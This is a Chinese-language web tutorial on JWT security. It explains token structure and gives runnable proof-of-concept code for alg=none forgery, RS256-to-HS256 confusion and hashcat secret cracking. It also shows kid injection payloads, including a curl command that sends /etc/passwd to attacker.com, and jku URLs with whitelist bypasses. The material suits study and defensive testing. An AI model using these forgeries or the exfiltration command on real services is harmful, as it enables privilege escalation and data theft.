☰
JWT安全
2026/10/21 7:47:57 网站建设 项目流程

一、JWT 是什么

一句话定义:JWT(JSON Web Token)是一种自包含的、可签名的令牌格式,把用户身份信息直接编码进字符串里,由服务端用密钥验证"这串东西没被人改过",从而不需要在服务端保存会话状态。

它解决的核心问题是:分布式环境下,服务端不用共享 Session 存储,也能确认"你是谁"。

用户登录 ──> 服务端签发 JWT ──> 客户端保存 ──> 每次请求带上 ──> 服务端验签 + 读 claim ↑ 服务端无状态,不存 session

JWT vs Session 的本质区别

维度SessionJWT
状态存放服务端(内存/Redis)客户端(token 自身)
扩展性多节点需共享存储天然无状态,任意横向扩容
撤销能力删 session 即失效困难,签发后到期前一直有效
数据实时性每次读最新签发时快照,角色变更不自动生效
体积只有一个 sessionId几十到几百字节,每请求都带
跨域/跨系统麻烦(Cookie 域限制)简单(Header 里放字符串)
泄露后果攻击者拿到 sessionId 可直接用拿到 token 可直接用,且 payload 明文可见

二、JWT 的结构

JWT 是三个 Base64URL 字符串用.拼起来的:

header.payload.signature ↑ ↑ ↑ 算法声明 身份数据 签名(防篡改)

2.1 拿一个真 token 来拆

这是我用密钥secret、HS256 生成的真实有效token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2FwaS5leGFtcGxlLmNvbSIsInN1YiI6IjEwMDg2IiwibmFtZSI6ImFxIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NTAwMDAwMDAsImV4cCI6MTc1MDAwMzYwMH0.FHeZAwND6F8qNVJNRDdHllVh4nZbHdA0GNTiQmOLq34

按.切三刀:

段内容
第 1 段eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
第 2 段eyJpc3MiOiJodHRwczovL2FwaS5leGFtcGxlLmNvbSIsInN1YiI6IjEwMDg2IiwibmFtZSI6ImFxIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NTAwMDAwMDAsImV4cCI6MTc1MDAwMzYwMH0
第 3 段FHeZAwND6F8qNVJNRDdHllVh4nZbHdA0GNTiQmOLq34

2.2 Base64URL 解码前两段

Header解码后:

{"alg":"HS256","typ":"JWT"}
  • alg:签名算法。HS256 = HMAC-SHA256(对称,签发和验签共用同一把 secret);RS256 = RSA-SHA256(非对称,私钥签、公钥验)
  • typ:token 类型,一般是JWT

Payload解码后:

{"iss":"https://api.example.com","sub":"10086","name":"aq","role":"user","iat":1750000000,"exp":1750003600}

时间戳换成人话:iat= 2025-06-15 15:06:40 UTC(签发),exp= 2025-06-15 16:06:40 UTC(过期,有效期 1 小时,北京时间减 8 小时看)。

其他常见 claim:aud(接收方)、nbf(生效时间)、jti(唯一 ID,防重放)。

重点:payload 只是 Base64URL 编码,不是加密。任何人拿到 token 都能解开看。所以"我把用户 id 放 payload 里别人看不到"是彻底的误解。

2.3 第三段签名怎么算出来的

HS256 的签名公式:

signature = Base64URL( HMAC-SHA256( secret, base64url(header) + "." + base64url(payload) ) )

注意两个容易写错的地方:

  1. 参与签名的不是 JSON 原文,是编码后的 Base64URL 字符串(Header 段 +.+ Payload 段)
  2. 签名结果本身还要再做一次 Base64URL 编码,且去掉=填充

用 Python 从零实现一遍(不依赖任何 JWT 库,理解原理最有用):

importbase64,hmac,hashlib,jsondefb64url_enc(data:bytes)->str:returnbase64.urlsafe_b64encode(data).rstrip(b"=").decode()defb64url_dec(s:str)->bytes:# Base64URL 去掉了填充,解码前要补回来returnbase64.urlsafe_b64decode(s+"="*(-len(s)%4))defdumps(obj)->str:# 注意 separators,标准 JWT 是不带空格的紧凑 JSONreturnb64url_enc(json.dumps(obj,separators=(",",":"),ensure_ascii=False).encode())defsign_hs256(payload:dict,secret:bytes,algorithm="HS256"):header={"alg":algorithm,"typ":"JWT"}h,p=dumps(header),dumps(payload)sig=hmac.new(secret,f"{h}.{p}".encode(),hashlib.sha256).digest()returnf"{h}.{p}.{b64url_enc(sig)}"defverify_hs256(token:str,secret:bytes)->bool:h,p,s=token.split(".")expected=b64url_enc(hmac.new(secret,f"{h}.{p}".encode(),hashlib.sha256).digest())returnhmac.compare_digest(expected,s)# 别用 == ,防时序侧信道token=sign_hs256({"sub":"10086","name":"aq","role":"user","iat":1750000000,"exp":1750003600},b"secret",)print(token)print(verify_hs256(token,b"secret"))# Trueprint(verify_hs256(token,b"secret1"))# False

工程上当然用PyJWT/python-jose/java-jwt,但手写一遍才知道攻击点在哪——签名覆盖的只有header.payload这一段字符串,header 本身也在签名里,但 header 里的alg字段却又是服务端用来决定怎么验签的依据。这个"自己声明自己该怎么被验证"的设计,就是算法类漏洞的根因。

2.4 为什么是 Base64URL 而不是 Base64

JWT 要放进 URL query、HTTP Header,标准 Base64 里的+/=会带来转义麻烦,所以换成 URL 安全字符:

Base64Base64URL
+-
/_
=(填充)去掉

这个"填充可去可不去""+/和-_都兼容"的宽松空间,后面会变成解析差异绕过的攻击面。


三、漏洞与风险

下面按攻击面分类,每个都给出原理 + 可复现的 PoC。

3.1 算法类漏洞:JWT 的"原罪"

漏洞 1:alg=none 空算法攻击

原理:JWT 规范里定义了alg: "none",表示无签名。某些库(尤其是老版本、或配置成"支持多种算法"的实现)会无条件信任 header 里的 alg,看到none就跳过验签。

利用:把 header 改成{"alg":"none","typ":"JWT"},payload 改成 admin,签名段留空(或留一个.结尾)。

真实 PoC:

importbase64,jsondefb64url_enc(data:bytes)->str:returnbase64.urlsafe_b64encode(data).rstrip(b"=").decode()defforge_none(payload:dict,alg_variant:str="none")->str:header={"alg":alg_variant,"typ":"JWT"}h=b64url_enc(json.dumps(header,separators=(",",":")).encode())p=b64url_enc(json.dumps(payload,separators=(",",":")).encode())returnf"{h}.{p}."# 注意结尾的点,第三段为空payload={"iss":"https://api.example.com","sub":"1","name":"aq","role":"admin",# 自己改的"iat":1750000000,"exp":9999999999,}print(forge_none(payload))

产出(可以直接丢给有漏洞的服务端):

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL2FwaS5leGFtcGxlLmNvbSIsInN1YiI6IjEiLCJuYW1lIjoiYXEiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NTAwMDAwMDAsImV4cCI6OTk5OTk5OTk5OX0.

第一段eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0解出来正是{"alg":"none","typ":"JWT"}。

变形绕过(有些库只做小写判定):none/None/NONE/nOnE,还有的把签名段塞成" "、"null"、"0"、随便一段合法 base64。

特征:token 以.结尾。

漏洞 2:算法混淆攻击(RS256 → HS256)—— 最经典

原理:RS256 用"私钥签名、公钥验签",公钥是公开的(通常在/jwks.json或.well-known下)。

如果服务端代码是根据 token header 里的alg动态选择验证器,攻击者就可以:

  1. 把 header 的alg从RS256改成HS256
  2. 用服务端公开的 RSA 公钥内容当作 HMAC 的 secret,自己算 HS256 签名
  3. 服务端看到alg: HS256,就用 HS256 验签,而它拿来当 secret 的正是那把公钥 →验签通过

因为服务端的公钥攻击者能拿到,等于攻击者拿到了签名密钥。

正常:私钥 --签--> token --公钥验--> 通过 攻击:公钥 --当作HMAC密钥签--> 伪造token --公钥当HMAC密钥验--> 通过(服务端自己骗自己)

真实 PoC 脚本(可跑):

importbase64,hmac,hashlib,jsonfromcryptography.hazmat.primitivesimportserializationfromcryptography.hazmat.primitives.asymmetricimportrsadefb64url_enc(data:bytes)->str:returnbase64.urlsafe_b64encode(data).rstrip(b"=").decode()# 模拟:服务端有一对 RSA 密钥,公钥是公开的(这是攻击者能拿到的东西)server_private=rsa.generate_private_key(public_exponent=65537,key_size=2048)public_pem=server_private.public_key().public_bytes(encoding=serialization.Encoding.PEM,format=serialization.PublicFormat.SubjectPublicKeyInfo,)# 攻击者拿到 public_pem 后,构造 HS256 token,把公钥字节当 secretforged_header={"alg":"HS256","typ":"JWT"}forged_payload={"sub":"1","role":"admin","exp":9999999999}h=b64url_enc(json.dumps(forged_header,separators=(",",":")).encode())p=b64url_enc(json.dumps(forged_payload,separators=(",",":")).encode())sig=hmac.new(public_pem,f"{h}.{p}".encode(),hashlib.sha256).digest()# 关键一行forged=f"{h}.{p}.{b64url_enc(sig)}"# 模拟有漏洞的服务端:按 header 里的 alg 选择验证方式defvulnerable_verify(token,rsa_public_key):h,p,s=token.split(".")header=json.loads(base64.urlsafe_b64decode(h+"="*(-len(h)%4)))ifheader["alg"]=="HS256":# 它以为 secret 是"共享密钥",实际上传进来的却是公钥pem=rsa_public_key.public_bytes(encoding=serialization.Encoding.PEM,format=serialization.PublicFormat.SubjectPublicKeyInfo,)expected=b64url_enc(hmac.new(pem,f"{h}.{p}".encode(),hashlib.sha256).digest())returnexpected==sraiseValueError("unsupported")print(vulnerable_verify(forged,server_private.public_key()))# True → 提权成功

用jwt_tool一条命令就能打:

python3 jwt_tool.py<TOKEN>-Xk-pkpublic.pem

关键前提:服务端拿到的公钥格式必须和攻击者用来签名的字节完全一致(PEM 带换行、还是裸 DER/base64 body),差一个换行就失败。实战中把几种格式都试一遍。

同一个手法也能让ES256 → HS256。

漏洞 3:弱密钥爆破(HS256)

原理:HS256 的 secret 一旦被猜到,任何人都能签发合法 token。很多项目用secret、123456、your-256-bit-secret、test、公司名,或者从默认配置里没改。

hashcat 爆破(模式 16500 = JWT):

# 先把 token 存进文件echo'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2FwaS5leGFtcGxlLmNvbSIsInN1YiI6IjEwMDg2IiwibmFtZSI6ImFxIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NTAwMDAwMDAsImV4cCI6MTc1MDAwMzYwMH0.FHeZAwND6F8qNVJNRDdHllVh4nZbHdA0GNTiQmOLq34'>jwt.txt# 字典攻击hashcat-a0-m16500jwt.txt /usr/share/wordlists/rockyou.txt# 掩码攻击(已知长度和字符集)hashcat-a3-m16500jwt.txt ?l?l?l?l?l?l?l?l# 拿到密钥后直接重签hashcat-a0-m16500jwt.txt rockyou.txt--show

上面那个示例 token,密钥就是secret,一秒内就被字典命中。

jwt_tool也能直接猜:

python3 jwt_tool.py<TOKEN>-C-d/usr/share/wordlists/rockyou.txt

顺带一个认知:HS256 的 secret 如果是 6~8 位弱口令,4090 显卡每秒能跑几十亿次 HMAC-SHA256,爆破成本几乎为零。所以密钥熵比算法选择更关键。

漏洞 4:算法降级 / 接受弱算法

服务端如果"支持列表"里写了HS256和RS256,攻击者可以把 RS256 降级成 HS256 再配合漏洞 2。或者配置里允许HS1、MD5 之类。


3.2 Header 参数注入:kid、jku、x5u、jwk

JWT header 里有些字段会被服务端用来查密钥,这些字段一旦可控,就等于把"密钥选择权"交给了攻击者。

漏洞 5:kid 注入(SQL 注入 / 命令注入 / 路径穿越)

kid(Key ID)表示"用哪把密钥验签"。典型实现是拿 kid 去数据库查密钥:

# 有漏洞的写法kid=header["kid"]key=db.query(f"SELECT secret FROM keys WHERE kid = '{kid}'").fetchone()[0]

攻击 A:SQL 注入让 kid 查询返回攻击者已知的值

{"alg":"HS256","typ":"JWT","kid":"key1' UNION SELECT 'mysecret'--"}

这样查出来的 secret 就是mysecret,攻击者用它签名即可。

攻击 B:路径穿越指向空文件 / 已知内容文件

{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}

服务端open(pubkey_dir + kid)读到空内容 → HMAC secret 为空字符串,攻击者用空 secret 签名即通过。

同理kid: "../../../../proc/self/environ"(密钥变成环境变量全文,可能泄露)、kid: "文件路径"拿到已知内容当密钥。

攻击 C:命令注入

{"alg":"HS256","typ":"JWT","kid":"/dev/null; curl http://attacker.com/$(cat /etc/passwd | base64)"}

如果实现里用os.popen("cat " + kid_file)读密钥,直接 RCE 级别的带外泄露。

攻击 D:目录遍历 + 上传公钥文件:如果系统允许上传文件且能预测路径,上传自己的公钥文件,kid 指向它。

漏洞 6:jku / x5u 注入(外部 JWKS 拉取)
  • jku:指向一个 JWKS(JSON Web Key Set)URL,告诉服务端"去这儿拿我的公钥"
  • x5u:指向 X.509 证书链 URL

正常用法是固定可信地址,但如果实现直接信任 header 里的 URL:

{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/.well-known/jwks.json"}

攻击者在自己服务器放一份 JWKS,里面是自己生成的 RSA 公钥,然后用对应私钥签名 → 服务端去拉攻击者的公钥来验签 → 通过。

变体绕过(服务端做了域名白名单时):

https://trusted.com@attacker.com/jwks.json # userinfo 绕过 https://trusted.com.attacker.com/jwks.json # 子域后缀 https://attacker.com/trusted.com/jwks.json # 路径包含 https://attacker.com#trusted.com http://trusted.com/redirect?to=https://attacker.com # 开放重定向

x5u同理,甚至可以配合kid做 SSRF 打内网。

漏洞 7:jwk 头注入(自签名攻击)

jwk字段允许把公钥直接内嵌在 header 里:

{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"攻击者公钥的modulus","e":"AQAB"}}

服务端若"有 jwk 就用 jwk 验签",那攻击者用自己的私钥签名、公钥塞 header,完美自证。这个洞比 jku 更隐蔽,因为不需要发起外部请求,流量上完全看不出异常。

漏洞 8:typ / cty 混淆
  • typ: "JWT"改成typ: "JWE"、"at+jwt",绕过只检查 typ 的逻辑
  • 有些库看到typ: "JWT"才验签,改成别的就跳过
  • 跨协议混淆:把 SAML、OAuth 的 token 当 JWT 处理

3.3 校验缺失:不验签 / 只验签不验内容

漏洞 9:完全不校验签名

最常见也最离谱的实现:

# 错误:只解码不验签payload=jwt.decode(token,options={"verify_signature":False})user_id=payload["sub"]

或者jwt.get_unverified_claims(token)的返回值被直接用于鉴权。这时 payload完全是攻击者说了算。

# 攻击者只需要改 payload,签名段随便写甚至清空

识别技巧:把 token 的第三段(签名)随便改几个字符,请求还能成功 → 100% 存在此洞。

漏洞 10:只验签,不校验 claim

签名验过了,但exp、aud、iss、nbf全没检查。后果:

缺什么后果
不校验exp过期 token 永久有效,泄露一次终身可用
不校验audA 系统的 token 能打 B 系统(跨服务越权)
不校验iss任何能签发 JWT 的第三方(比如注册了同租户的兄弟系统)都能伪造本站身份
不校验nbf时间类逻辑绕过
只解析不比对算法算法混淆的前提条件

PyJWT 里正确的写法是显式指定:

payload=jwt.decode(token,key,algorithms=["RS256"],# 白名单,绝对不要用 header 里的 algaudience="https://api.example.com",# 校验 audissuer="https://auth.example.com",# 校验 issoptions={"require":["exp","iat","sub"]},# 强制要求这些 claim 存在)
漏洞 11:信任 payload 里的权限字段
ifpayload.get("role")=="admin":do_admin_thing()

只要签名能被绕过(弱密钥/算法混淆/密钥泄露),这行就是提权入口。即使签名没问题,角色变更是签发时快照——用户被降权后,旧 token 里的role: admin还能用满整个有效期。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询